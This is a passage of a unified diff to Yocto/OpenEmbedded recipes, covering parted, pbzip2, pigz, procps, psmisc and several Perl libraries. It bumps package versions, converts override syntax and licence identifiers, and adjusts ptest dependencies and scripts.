index 374f1bfbc9..096078967f 100644
--- a/meta/recipes-extended/parted/files/run-ptest
+++ b/meta/recipes-extended/parted/files/run-ptest
@@ -1,7 +1,7 @@
1#!/bin/sh 1#!/bin/sh
2 2
3mkdir -p /etc/udev/mount.blacklist.d 3mkdir -p /etc/udev/mount.ignorelist.d
4echo /dev/sda1 >> /etc/udev/mount.blacklist.d/parted-tmp 4echo /dev/sda1 >> /etc/udev/mount.ignorelist.d/parted-tmp
5rm -f *.log 5rm -f tests/*.log
6make -C tests test-suite.log 6make -C tests test-suite.log
7rm /etc/udev/mount.blacklist.d/parted-tmp 7rm /etc/udev/mount.ignorelist.d/parted-tmp
diff --git a/meta/recipes-extended/parted/parted_3.4.bb b/meta/recipes-extended/parted/parted_3.6.bb
index 79dad54687..a537ef74db 100644
--- a/meta/recipes-extended/parted/parted_3.4.bb
+++ b/meta/recipes-extended/parted/parted_3.6.bb
@@ -1,25 +1,24 @@
1SUMMARY = "Disk partition editing/resizing utility" 1SUMMARY = "Disk partition editing/resizing utility"
2HOMEPAGE = "http://www.gnu.org/software/parted/parted.html" 2HOMEPAGE = "http://www.gnu.org/software/parted/parted.html"
3LICENSE = "GPLv3+" 3DESCRIPTION = "GNU Parted manipulates partition tables. This is useful for creating space for new operating systems, reorganizing disk usage, copying data on hard disks and disk imaging."
4LICENSE = "GPL-3.0-or-later"
4LIC_FILES_CHKSUM = "file://COPYING;md5=2f31b266d3440dd7ee50f92cf67d8e6c" 5LIC_FILES_CHKSUM = "file://COPYING;md5=2f31b266d3440dd7ee50f92cf67d8e6c"
5SECTION = "console/tools" 6SECTION = "console/tools"
6DEPENDS = "ncurses util-linux virtual/libiconv" 7DEPENDS = "ncurses util-linux virtual/libiconv"
7 8
8SRC_URI = "${GNU_MIRROR}/parted/parted-${PV}.tar.xz \ 9SRC_URI = "${GNU_MIRROR}/parted/parted-${PV}.tar.xz \
9 file://no_check.patch \
10 file://fix-doc-mandir.patch \ 10 file://fix-doc-mandir.patch \
11 file://0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch \ 11 file://0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch \
12 file://autoconf-2.73.patch \
12 file://run-ptest \ 13 file://run-ptest \
13 " 14 "
14 15
15SRC_URI[md5sum] = "357d19387c6e7bc4a8a90fe2d015fe80" 16SRC_URI[sha256sum] = "3b43dbe33cca0f9a18601ebab56b7852b128ec1a3df3a9b30ccde5e73359e612"
16SRC_URI[sha256sum] = "e1298022472da5589b7f2be1d5ee3c1b66ec3d96dfbad03dc642afd009da5342"
17
18EXTRA_OECONF = "--disable-device-mapper"
19 17
20inherit autotools pkgconfig gettext texinfo ptest 18inherit autotools pkgconfig gettext texinfo ptest
21 19
22PACKAGECONFIG ?= "readline" 20PACKAGECONFIG ?= "readline"
21PACKAGECONFIG[device-mapper] = "--enable-device-mapper,--disable-device-mapper,libdevmapper lvm2"
23PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline" 22PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
24 23
25BBCLASSEXTEND = "native nativesdk" 24BBCLASSEXTEND = "native nativesdk"
@@ -34,10 +33,13 @@ do_install_ptest() {
34 cp ${S}/build-aux/test-driver $t/build-aux/ 33 cp ${S}/build-aux/test-driver $t/build-aux/
35 cp -r ${S}/tests $t 34 cp -r ${S}/tests $t
36 cp ${B}/tests/Makefile $t/tests/ 35 cp ${B}/tests/Makefile $t/tests/
36 mkdir $t/lib
37 cp ${B}/lib/config.h $t/lib
37 sed -i "s|^VERSION.*|VERSION = ${PV}|g" $t/tests/Makefile 38 sed -i "s|^VERSION.*|VERSION = ${PV}|g" $t/tests/Makefile
38 sed -i "s|^srcdir =.*|srcdir = \.|g" $t/tests/Makefile 39 sed -i "s|^srcdir =.*|srcdir = \.|g" $t/tests/Makefile
39 sed -i "s|^abs_srcdir =.*|abs_srcdir = \.|g" $t/tests/Makefile 40 sed -i "s|^abs_srcdir =.*|abs_srcdir = \.|g" $t/tests/Makefile
40 sed -i "s|^abs_top_srcdir =.*|abs_top_srcdir = \.\.|g" $t/tests/Makefile 41 sed -i "s|^abs_top_srcdir =.*|abs_top_srcdir = "${PTEST_PATH}"|g" $t/tests/Makefile
42 sed -i "s|^abs_top_builddir =.*|abs_top_builddir = "${PTEST_PATH}"|g" $t/tests/Makefile
41 sed -i "s|^Makefile:.*|Makefile:|g" $t/tests/Makefile 43 sed -i "s|^Makefile:.*|Makefile:|g" $t/tests/Makefile
42 sed -i "/^BUILDINFO.*$/d" $t/tests/Makefile 44 sed -i "/^BUILDINFO.*$/d" $t/tests/Makefile
43 for i in print-align print-max print-flags dup-clobber duplicate fs-resize; \ 45 for i in print-align print-max print-flags dup-clobber duplicate fs-resize; \
@@ -46,9 +48,9 @@ do_install_ptest() {
46 sed -e 's| ../parted||' -i $t/tests/*.sh 48 sed -e 's| ../parted||' -i $t/tests/*.sh
47} 49}
48 50
49RDEPENDS_${PN}-ptest = "bash coreutils perl util-linux-losetup python3 make gawk e2fsprogs-mke2fs python3-core" 51RDEPENDS:${PN}-ptest = "bash coreutils perl util-linux-losetup util-linux-mkswap python3 make gawk e2fsprogs-mke2fs e2fsprogs-tune2fs python3-core dosfstools"
50RRECOMMENDS_${PN}-ptest = "kernel-module-scsi-debug" 52RRECOMMENDS:${PN}-ptest += "kernel-module-scsi-debug kernel-module-loop kernel-module-vfat"
51RDEPENDS_${PN}-ptest_append_libc-glibc = "\ 53RDEPENDS:${PN}-ptest:append:libc-glibc = "\
52 glibc-utils \ 54 glibc-utils \
53 locale-base-en-us \ 55 locale-base-en-us \
54 " 56 "
@@ -56,5 +58,5 @@ RDEPENDS_${PN}-ptest_append_libc-glibc = "\
56inherit update-alternatives 58inherit update-alternatives
57 59
58ALTERNATIVE_PRIORITY = "100" 60ALTERNATIVE_PRIORITY = "100"
59ALTERNATIVE_${PN} = "partprobe" 61ALTERNATIVE:${PN} = "partprobe"
60ALTERNATIVE_LINK_NAME[partprobe] = "${sbindir}/partprobe" 62ALTERNATIVE_LINK_NAME[partprobe] = "${sbindir}/partprobe"
diff --git a/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb b/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb
index ed21d81179..3fa89dec9a 100644
--- a/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb
+++ b/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb
@@ -9,7 +9,7 @@ LICENSE = "bzip2-1.0.6"
9LIC_FILES_CHKSUM = "file://COPYING;md5=398b8832c6f840cfebd20ab2be6a3743" 9LIC_FILES_CHKSUM = "file://COPYING;md5=398b8832c6f840cfebd20ab2be6a3743"
10 10
11DEPENDS = "bzip2" 11DEPENDS = "bzip2"
12DEPENDS_append_class-native = " bzip2-replacement-native" 12DEPENDS:append:class-native = " bzip2-replacement-native"
13 13
14SRC_URI = "https://launchpad.net/${BPN}/1.1/${PV}/+download/${BP}.tar.gz \ 14SRC_URI = "https://launchpad.net/${BPN}/1.1/${PV}/+download/${BP}.tar.gz \
15 file://0001-pbzip2-Fix-invalid-suffix-on-literal-C-11-warning.patch \ 15 file://0001-pbzip2-Fix-invalid-suffix-on-literal-C-11-warning.patch \
diff --git a/meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb b/meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb
deleted file mode 100644
index 9f992d3e83..0000000000
--- a/meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb
+++ /dev/null
@@ -1,20 +0,0 @@
1SUMMARY = "Convert::ASN1 - Perl ASN.1 Encode/Decode library"
2SECTION = "libs"
3LICENSE = "Artistic-1.0 | GPL-1.0+"
4LIC_FILES_CHKSUM = "file://README.md;beginline=91;endline=97;md5=ceff7fd286eb6d8e8e0d3d23e096a63f"
5
6SRC_URI = "http://search.cpan.org/CPAN/authors/id/G/GB/GBARR/Convert-ASN1-${PV}.tar.gz"
7
8SRC_URI[md5sum] = "68723e96be0b258a9e20480276e8a62c"
9SRC_URI[sha256sum] = "74a4a78ae0c5e973100ac0a8f203a110f76fb047b79dae4fc1fd7d6814d3d58a"
10
11S = "${WORKDIR}/Convert-ASN1-${PV}"
12
13inherit cpan ptest-perl
14
15EXTRA_PERLFLAGS = "-I ${PERLHOSTLIB}"
16
17RDEPENDS_${PN} += "perl-module-exporter perl-module-constant perl-module-encode perl-module-encode-encoding perl-module-utf8 perl-module-socket perl-module-time-local perl-module-posix"
18RDEPENDS_${PN}-ptest += "perl-module-math-bigint perl-module-io-socket perl-module-data-dumper perl-module-math-bigint-calc"
19
20BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/perl/libconvert-asn1-perl_0.34.bb b/meta/recipes-extended/perl/libconvert-asn1-perl_0.34.bb
new file mode 100644
index 0000000000..6e9f881773
--- /dev/null
+++ b/meta/recipes-extended/perl/libconvert-asn1-perl_0.34.bb
@@ -0,0 +1,22 @@
1SUMMARY = "Convert::ASN1 - Perl ASN.1 Encode/Decode library"
2SECTION = "libs"
3HOMEPAGE = "http://search.cpan.org/dist/Convert-ASN1/"
4DESCRIPTION = "Convert::ASN1 is a perl library for encoding/decoding data using ASN.1 definitions."
5LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
6LIC_FILES_CHKSUM = "file://README.md;beginline=91;endline=97;md5=ceff7fd286eb6d8e8e0d3d23e096a63f"
7
8SRC_URI = "https://cpan.metacpan.org/authors/id/T/TI/TIMLEGGE/Convert-ASN1-${PV}.tar.gz"
9
10SRC_URI[sha256sum] = "a628d7c9d390568fb76359975fa03f626ce57f10dc17980e8e3587d7713e4ee7"
11
12S = "${WORKDIR}/Convert-ASN1-${PV}"
13
14inherit cpan ptest-perl
15
16EXTRA_PERLFLAGS = "-I ${PERLHOSTLIB}"
17
18RDEPENDS:${PN} += "perl-module-exporter perl-module-constant perl-module-encode perl-module-encode-encoding perl-module-utf8 \
19 perl-module-socket perl-module-time-local perl-module-posix perl-module-scalar-util perl-module-test-more"
20RDEPENDS:${PN}-ptest += "perl-module-math-bigint perl-module-io-socket perl-module-data-dumper perl-module-math-bigint-calc"
21
22BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/perl/libtimedate-perl_2.30.bb b/meta/recipes-extended/perl/libtimedate-perl_2.30.bb
index d42eadb586..3e0d216a03 100644
--- a/meta/recipes-extended/perl/libtimedate-perl_2.30.bb
+++ b/meta/recipes-extended/perl/libtimedate-perl_2.30.bb
@@ -1,8 +1,9 @@
1SUMMARY = "Perl modules useful for manipulating date and time information" 1SUMMARY = "Perl modules useful for manipulating date and time information"
2HOMEPAGE = "https://metacpan.org/release/TimeDate" 2HOMEPAGE = "https://metacpan.org/release/TimeDate"
3DESCRIPTION = "This is the perl5 TimeDate distribution. It requires perl version 5.003 or later."
3SECTION = "libs" 4SECTION = "libs"
4# You can redistribute it and/or modify it under the same terms as Perl itself. 5# You can redistribute it and/or modify it under the same terms as Perl itself.
5LICENSE = "Artistic-1.0 | GPL-1.0+" 6LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
6LIC_FILES_CHKSUM = "file://README;beginline=21;md5=576b7cb41e5e821501a01ed66f0f9d9e" 7LIC_FILES_CHKSUM = "file://README;beginline=21;md5=576b7cb41e5e821501a01ed66f0f9d9e"
7 8
8SRC_URI = "http://search.cpan.org/CPAN/authors/id/G/GB/GBARR/TimeDate-${PV}.tar.gz" 9SRC_URI = "http://search.cpan.org/CPAN/authors/id/G/GB/GBARR/TimeDate-${PV}.tar.gz"
@@ -13,8 +14,8 @@ inherit cpan ptest-perl
13 14
14BBCLASSEXTEND = "native" 15BBCLASSEXTEND = "native"
15 16
16RDEPENDS_${PN} += "perl-module-carp perl-module-exporter perl-module-strict perl-module-time-local" 17RDEPENDS:${PN} += "perl-module-carp perl-module-exporter perl-module-strict perl-module-time-local"
17RDEPENDS_${PN}-ptest += "perl-module-test-more perl-module-utf8" 18RDEPENDS:${PN}-ptest += "perl-module-test-more perl-module-utf8"
18 19
19SRC_URI[md5sum] = "b1d91153ac971347aee84292ed886c1c" 20SRC_URI[md5sum] = "b1d91153ac971347aee84292ed886c1c"
20SRC_URI[sha256sum] = "75bd254871cb5853a6aa0403ac0be270cdd75c9d1b6639f18ecba63c15298e86" 21SRC_URI[sha256sum] = "75bd254871cb5853a6aa0403ac0be270cdd75c9d1b6639f18ecba63c15298e86"
diff --git a/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb b/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb
index 57c407e0f8..568268d886 100644
--- a/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb
+++ b/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb
@@ -5,7 +5,7 @@ DESCRIPTION = "XML::NamespaceSupport offers a simple way to process namespace-ba
5 basic checks. " 5 basic checks. "
6 6
7SECTION = "libs" 7SECTION = "libs"
8LICENSE = "Artistic-1.0 | GPL-1.0+" 8LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
9 9
10SRCNAME = "XML-NamespaceSupport" 10SRCNAME = "XML-NamespaceSupport"
11 11
@@ -21,7 +21,7 @@ S = "${WORKDIR}/${SRCNAME}-${PV}"
21 21
22inherit cpan ptest-perl 22inherit cpan ptest-perl
23 23
24RDEPENDS_${PN}-ptest += "perl-module-test-more" 24RDEPENDS:${PN}-ptest += "perl-module-test-more"
25 25
26BBCLASSEXTEND="native nativesdk" 26BBCLASSEXTEND="native nativesdk"
27 27
diff --git a/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb b/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb
index 2bff65a082..ebec5f0462 100644
--- a/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb
+++ b/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb
@@ -7,8 +7,8 @@ use this module as a base class so you don't have to, for example, \
7implement the characters() callback." 7implement the characters() callback."
8 8
9SECTION = "libs" 9SECTION = "libs"
10LICENSE = "Artistic-1.0 | GPL-1.0+" 10LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
11RDEPENDS_${PN} += "perl-module-extutils-makemaker" 11RDEPENDS:${PN} += "perl-module-extutils-makemaker"
12 12
13LIC_FILES_CHKSUM = "file://dist.ini;endline=5;md5=8f9c9a55340aefaee6e9704c88466446" 13LIC_FILES_CHKSUM = "file://dist.ini;endline=5;md5=8f9c9a55340aefaee6e9704c88466446"
14 14
@@ -21,6 +21,6 @@ S = "${WORKDIR}/XML-SAX-Base-${PV}"
21 21
22inherit cpan ptest-perl 22inherit cpan ptest-perl
23 23
24RDEPENDS_${PN}-ptest += "perl-module-test perl-module-test-more" 24RDEPENDS:${PN}-ptest += "perl-module-test perl-module-test-more"
25 25
26BBCLASSEXTEND = "native nativesdk" 26BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb b/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb
index 02ee34ee17..b5b111d227 100644
--- a/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb
+++ b/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb
@@ -9,9 +9,9 @@ come from the Java JAXP specification (SAX part), only without the \
9javaness." 9javaness."
10 10
11SECTION = "libs" 11SECTION = "libs"
12LICENSE = "Artistic-1.0 | GPL-1.0+" 12LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
13DEPENDS += "libxml-namespacesupport-perl-native" 13DEPENDS += "libxml-namespacesupport-perl-native"
14RDEPENDS_${PN} += "libxml-namespacesupport-perl libxml-sax-base-perl perl-module-file-temp" 14RDEPENDS:${PN} += "libxml-namespacesupport-perl libxml-sax-base-perl perl-module-file-temp"
15 15
16LIC_FILES_CHKSUM = "file://LICENSE;md5=65c4cd8f39c24c7135ed70dacbcb09e3" 16LIC_FILES_CHKSUM = "file://LICENSE;md5=65c4cd8f39c24c7135ed70dacbcb09e3"
17 17
@@ -29,9 +29,9 @@ do_install_ptest() {
29 chown -R root:root ${D}${PTEST_PATH}/testfiles 29 chown -R root:root ${D}${PTEST_PATH}/testfiles
30} 30}
31 31
32RDEPENDS_${PN} += "perl-module-encode perl-module-perlio" 32RDEPENDS:${PN} += "perl-module-encode perl-module-perlio perl-module-encode-encoding"
33 33
34RDEPENDS_${PN}-ptest += " \ 34RDEPENDS:${PN}-ptest += " \
35 perl-module-base \ 35 perl-module-base \
36 perl-module-encode-byte \ 36 perl-module-encode-byte \
37 perl-module-encode-unicode \ 37 perl-module-encode-unicode \
diff --git a/meta/recipes-extended/pigz/pigz_2.6.bb b/meta/recipes-extended/pigz/pigz_2.8.bb
index 05be9b733f..fcf0c93e41 100644
--- a/meta/recipes-extended/pigz/pigz_2.6.bb
+++ b/meta/recipes-extended/pigz/pigz_2.8.bb
@@ -9,8 +9,8 @@ LICENSE = "Zlib & Apache-2.0"
9LIC_FILES_CHKSUM = "file://pigz.c;md5=9ae6dee8ceba9610596ed0ada493d142;beginline=7;endline=21" 9LIC_FILES_CHKSUM = "file://pigz.c;md5=9ae6dee8ceba9610596ed0ada493d142;beginline=7;endline=21"
10 10
11SRC_URI = "http://zlib.net/${BPN}/fossils/${BP}.tar.gz" 11SRC_URI = "http://zlib.net/${BPN}/fossils/${BP}.tar.gz"
12SRC_URI[sha256sum] = "2eed7b0d7449d1d70903f2a62cd6005d262eb3a8c9e98687bc8cbb5809db2a7d" 12SRC_URI[sha256sum] = "eb872b4f0e1f0ebe59c9f7bd8c506c4204893ba6a8492de31df416f0d5170fd0"
13PROVIDES_class-native += "gzip-native" 13PROVIDES:class-native += "gzip-native"
14 14
15# Point this at the homepage in case /fossils/ isn't updated 15# Point this at the homepage in case /fossils/ isn't updated
16UPSTREAM_CHECK_URI = "http://zlib.net/${BPN}/" 16UPSTREAM_CHECK_URI = "http://zlib.net/${BPN}/"
@@ -30,7 +30,7 @@ do_install() {
30 ln -nsf pigz ${D}${base_bindir}/pigzcat 30 ln -nsf pigz ${D}${base_bindir}/pigzcat
31} 31}
32 32
33do_install_append_class-native() { 33do_install:append:class-native() {
34 install -d ${D}${bindir} 34 install -d ${D}${bindir}
35 install ${B}/pigz ${D}${bindir}/gzip 35 install ${B}/pigz ${D}${bindir}/gzip
36 ln -nsf gzip ${D}${bindir}/gunzip 36 ln -nsf gzip ${D}${bindir}/gunzip
@@ -38,8 +38,8 @@ do_install_append_class-native() {
38} 38}
39 39
40ALTERNATIVE_PRIORITY = "110" 40ALTERNATIVE_PRIORITY = "110"
41ALTERNATIVE_${PN} = "gunzip gzip zcat" 41ALTERNATIVE:${PN} = "gunzip gzip zcat"
42ALTERNATIVE_${PN}_class-nativesdk = "" 42ALTERNATIVE:${PN}:class-nativesdk = ""
43ALTERNATIVE_LINK_NAME[gunzip] = "${base_bindir}/gunzip" 43ALTERNATIVE_LINK_NAME[gunzip] = "${base_bindir}/gunzip"
44ALTERNATIVE_LINK_NAME[gzip] = "${base_bindir}/gzip" 44ALTERNATIVE_LINK_NAME[gzip] = "${base_bindir}/gzip"
45ALTERNATIVE_LINK_NAME[zcat] = "${base_bindir}/zcat" 45ALTERNATIVE_LINK_NAME[zcat] = "${base_bindir}/zcat"
diff --git a/meta/recipes-extended/procps/procps_3.3.16.bb b/meta/recipes-extended/procps/procps_4.0.4.bb
index ef3ac86e97..800384f22f 100644
--- a/meta/recipes-extended/procps/procps_3.3.16.bb
+++ b/meta/recipes-extended/procps/procps_4.0.4.bb
@@ -3,7 +3,7 @@ DESCRIPTION = "Procps contains a set of system utilities that provide system inf
3the /proc filesystem. The package includes the programs ps, top, vmstat, w, kill, and skill." 3the /proc filesystem. The package includes the programs ps, top, vmstat, w, kill, and skill."
4HOMEPAGE = "https://gitlab.com/procps-ng/procps" 4HOMEPAGE = "https://gitlab.com/procps-ng/procps"
5SECTION = "base" 5SECTION = "base"
6LICENSE = "GPLv2+ & LGPLv2+" 6LICENSE = "GPL-2.0-or-later & LGPL-2.0-or-later"
7LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \ 7LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
8 file://COPYING.LIB;md5=4cf66a4984120007c9881cc871cf49db \ 8 file://COPYING.LIB;md5=4cf66a4984120007c9881cc871cf49db \
9 " 9 "
@@ -12,17 +12,17 @@ DEPENDS = "ncurses"
12 12
13inherit autotools gettext pkgconfig update-alternatives 13inherit autotools gettext pkgconfig update-alternatives
14 14
15SRC_URI = "git://gitlab.com/procps-ng/procps.git;protocol=https \ 15SRC_URI = "git://gitlab.com/procps-ng/procps.git;protocol=https;branch=master \
16 file://sysctl.conf \ 16 file://sysctl.conf \
17 " 17 "
18SRCREV = "59c88e18f29000ceaf7e5f98181b07be443cf12f" 18SRCREV = "4ddcef2fd843170c8e2d59a83042978f41037a2b"
19 19
20S = "${WORKDIR}/git" 20S = "${WORKDIR}/git"
21 21
22# Upstream has a custom autogen.sh which invokes po/update-potfiles as they 22# Upstream has a custom autogen.sh which invokes po/update-potfiles as they
23# don't ship a po/POTFILES.in (which is silly). Without that file gettext 23# don't ship a po/POTFILES.in (which is silly). Without that file gettext
24# doesn't believe po/ is a gettext directory and won't generate po/Makefile. 24# doesn't believe po/ is a gettext directory and won't generate po/Makefile.
25do_configure_prepend() { 25do_configure:prepend() {
26 ( cd ${S} && po/update-potfiles ) 26 ( cd ${S} && po/update-potfiles )
27} 27}
28 28
@@ -31,7 +31,7 @@ EXTRA_OECONF = "--enable-skill --disable-modern-top"
31PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}" 31PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
32PACKAGECONFIG[systemd] = "--with-systemd,--without-systemd,systemd" 32PACKAGECONFIG[systemd] = "--with-systemd,--without-systemd,systemd"
33 33
34do_install_append () { 34do_install:append () {
35 install -d ${D}${base_bindir} 35 install -d ${D}${base_bindir}
36 [ "${bindir}" != "${base_bindir}" ] && for i in ${base_bindir_progs}; do mv ${D}${bindir}/$i ${D}${base_bindir}/$i; done 36 [ "${bindir}" != "${base_bindir}" ] && for i in ${base_bindir_progs}; do mv ${D}${bindir}/$i ${D}${base_bindir}/$i; done
37 install -d ${D}${base_sbindir} 37 install -d ${D}${base_sbindir}
@@ -48,7 +48,7 @@ do_install_append () {
48 fi 48 fi
49} 49}
50 50
51CONFFILES_${PN} = "${sysconfdir}/sysctl.conf" 51CONFFILES:${PN} = "${sysconfdir}/sysctl.conf"
52 52
53bindir_progs = "free pkill pmap pgrep pwdx skill snice top uptime w" 53bindir_progs = "free pkill pmap pgrep pwdx skill snice top uptime w"
54base_bindir_progs += "kill pidof ps watch" 54base_bindir_progs += "kill pidof ps watch"
@@ -57,9 +57,9 @@ base_sbindir_progs += "sysctl"
57ALTERNATIVE_PRIORITY = "200" 57ALTERNATIVE_PRIORITY = "200"
58ALTERNATIVE_PRIORITY[pidof] = "150" 58ALTERNATIVE_PRIORITY[pidof] = "150"
59 59
60ALTERNATIVE_${PN} = "${bindir_progs} ${base_bindir_progs} ${base_sbindir_progs}" 60ALTERNATIVE:${PN} = "${bindir_progs} ${base_bindir_progs} ${base_sbindir_progs}"
61 61
62ALTERNATIVE_${PN}-doc = "kill.1 uptime.1" 62ALTERNATIVE:${PN}-doc = "kill.1 uptime.1"
63ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1" 63ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
64ALTERNATIVE_LINK_NAME[uptime.1] = "${mandir}/man1/uptime.1" 64ALTERNATIVE_LINK_NAME[uptime.1] = "${mandir}/man1/uptime.1"
65 65
@@ -71,31 +71,27 @@ python __anonymous() {
71 d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog)) 71 d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog))
72} 72}
73 73
74# 'ps' isn't suitable for use as a security tool so whitelist this CVE.
75# https://bugzilla.redhat.com/show_bug.cgi?id=1575473#c3
76CVE_CHECK_WHITELIST += "CVE-2018-1121"
77
78PROCPS_PACKAGES = "${PN}-lib \ 74PROCPS_PACKAGES = "${PN}-lib \
79 ${PN}-ps \ 75 ${PN}-ps \
80 ${PN}-sysctl" 76 ${PN}-sysctl"
81 77
82PACKAGE_BEFORE_PN = "${PROCPS_PACKAGES}" 78PACKAGE_BEFORE_PN = "${PROCPS_PACKAGES}"
83RDEPENDS_${PN} += "${PROCPS_PACKAGES}" 79RDEPENDS:${PN} += "${PROCPS_PACKAGES}"
84 80
85RDEPENDS_${PN}-ps += "${PN}-lib" 81RDEPENDS:${PN}-ps += "${PN}-lib"
86RDEPENDS_${PN}-sysctl += "${PN}-lib" 82RDEPENDS:${PN}-sysctl += "${PN}-lib"
87 83
88FILES_${PN}-lib = "${libdir}" 84FILES:${PN}-lib = "${libdir}"
89FILES_${PN}-ps = "${base_bindir}/ps.${BPN}" 85FILES:${PN}-ps = "${base_bindir}/ps.${BPN}"
90FILES_${PN}-sysctl = "${base_sbindir}/sysctl.${BPN} ${sysconfdir}/sysctl.conf ${sysconfdir}/sysctl.d" 86FILES:${PN}-sysctl = "${base_sbindir}/sysctl.${BPN} ${sysconfdir}/sysctl.conf ${sysconfdir}/sysctl.d"
91 87
92ALTERNATIVE_${PN}_remove = "ps" 88ALTERNATIVE:${PN}:remove = "ps"
93ALTERNATIVE_${PN}_remove = "sysctl" 89ALTERNATIVE:${PN}:remove = "sysctl"
94 90
95ALTERNATIVE_${PN}-ps = "ps" 91ALTERNATIVE:${PN}-ps = "ps"
96ALTERNATIVE_TARGET[ps] = "${base_bindir}/ps" 92ALTERNATIVE_TARGET[ps] = "${base_bindir}/ps"
97ALTERNATIVE_LINK_NAME[ps] = "${base_bindir}/ps" 93ALTERNATIVE_LINK_NAME[ps] = "${base_bindir}/ps"
98 94
99ALTERNATIVE_${PN}-sysctl = "sysctl" 95ALTERNATIVE:${PN}-sysctl = "sysctl"
100ALTERNATIVE_TARGET[sysctl] = "${base_sbindir}/sysctl" 96ALTERNATIVE_TARGET[sysctl] = "${base_sbindir}/sysctl"
101ALTERNATIVE_LINK_NAME[sysctl] = "${base_sbindir}/sysctl" \ No newline at end of file 97ALTERNATIVE_LINK_NAME[sysctl] = "${base_sbindir}/sysctl"
diff --git a/meta/recipes-extended/psmisc/psmisc.inc b/meta/recipes-extended/psmisc/psmisc.inc
index 6ab1288152..23e98d21be 100644
--- a/meta/recipes-extended/psmisc/psmisc.inc
+++ b/meta/recipes-extended/psmisc/psmisc.inc
@@ -8,7 +8,7 @@ processes identified by name. The fuser command identifies the PIDs \
8of processes that are using specified files or filesystems." 8of processes that are using specified files or filesystems."
9SECTION = "base" 9SECTION = "base"
10DEPENDS = "ncurses virtual/libintl" 10DEPENDS = "ncurses virtual/libintl"
11LICENSE = "GPLv2" 11LICENSE = "GPL-2.0-only"
12 12
13SRC_URI = "${SOURCEFORGE_MIRROR}/psmisc/psmisc-${PV}.tar.gz" 13SRC_URI = "${SOURCEFORGE_MIRROR}/psmisc/psmisc-${PV}.tar.gz"
14 14
@@ -19,38 +19,41 @@ inherit autotools gettext
19# Upstream has a custom autogen.sh which invokes po/update-potfiles as they 19# Upstream has a custom autogen.sh which invokes po/update-potfiles as they
20# don't ship a po/POTFILES.in (which is silly). Without that file gettext 20# don't ship a po/POTFILES.in (which is silly). Without that file gettext
21# doesn't believe po/ is a gettext directory and won't generate po/Makefile. 21# doesn't believe po/ is a gettext directory and won't generate po/Makefile.
22do_configure_prepend() { 22do_configure:prepend() {
23 ( cd ${S} && po/update-potfiles ) 23 ( cd ${S} && po/update-potfiles )
24} 24}
25 25
26 26
27PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}" 27PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
28PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6," 28PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
29PACKAGECONFIG[selinux] = "--enable-selinux,--disable-selinux,libselinux"
29 30
30ALLOW_EMPTY_${PN} = "1" 31ALLOW_EMPTY:${PN} = "1"
31 32
32PACKAGES =+ "fuser fuser-doc killall killall-doc pstree pstree-doc" 33PACKAGES =+ "fuser fuser-doc killall killall-doc pstree pstree-doc"
33PACKAGES += "psmisc-extras" 34PACKAGES += "psmisc-extras"
34 35
35FILES_${PN} = "" 36FILES:${PN} = ""
36RDEPENDS_${PN} = "fuser killall pstree" 37RDEPENDS:${PN} = "fuser killall pstree"
37 38
38FILES_fuser = "${bindir}/fuser.${BPN}" 39FILES:fuser = "${bindir}/fuser.${BPN}"
39FILES_fuser-doc = "${mandir}/man1/fuser*" 40FILES:fuser-doc = "${mandir}/man1/fuser*"
40 41
41FILES_killall = "${bindir}/killall.${BPN}" 42FILES:killall = "${bindir}/killall.${BPN}"
42FILES_killall-doc = "${mandir}/man1/killall*" 43FILES:killall-doc = "${mandir}/man1/killall*"
43 44
44FILES_pstree = "${bindir}/pstree" 45FILES:pstree = "${bindir}/pstree"
45FILES_pstree-doc = "${mandir}/man1/pstree*" 46FILES:pstree-doc = "${mandir}/man1/pstree*"
46 47
47FILES_psmisc-extras = "${bindir}" 48FILES:psmisc-extras = "${bindir}"
48FILES_psmisc-extras-doc = "${mandir}" 49FILES:psmisc-extras-doc = "${mandir}"
49 50
50inherit update-alternatives 51inherit update-alternatives
51 52
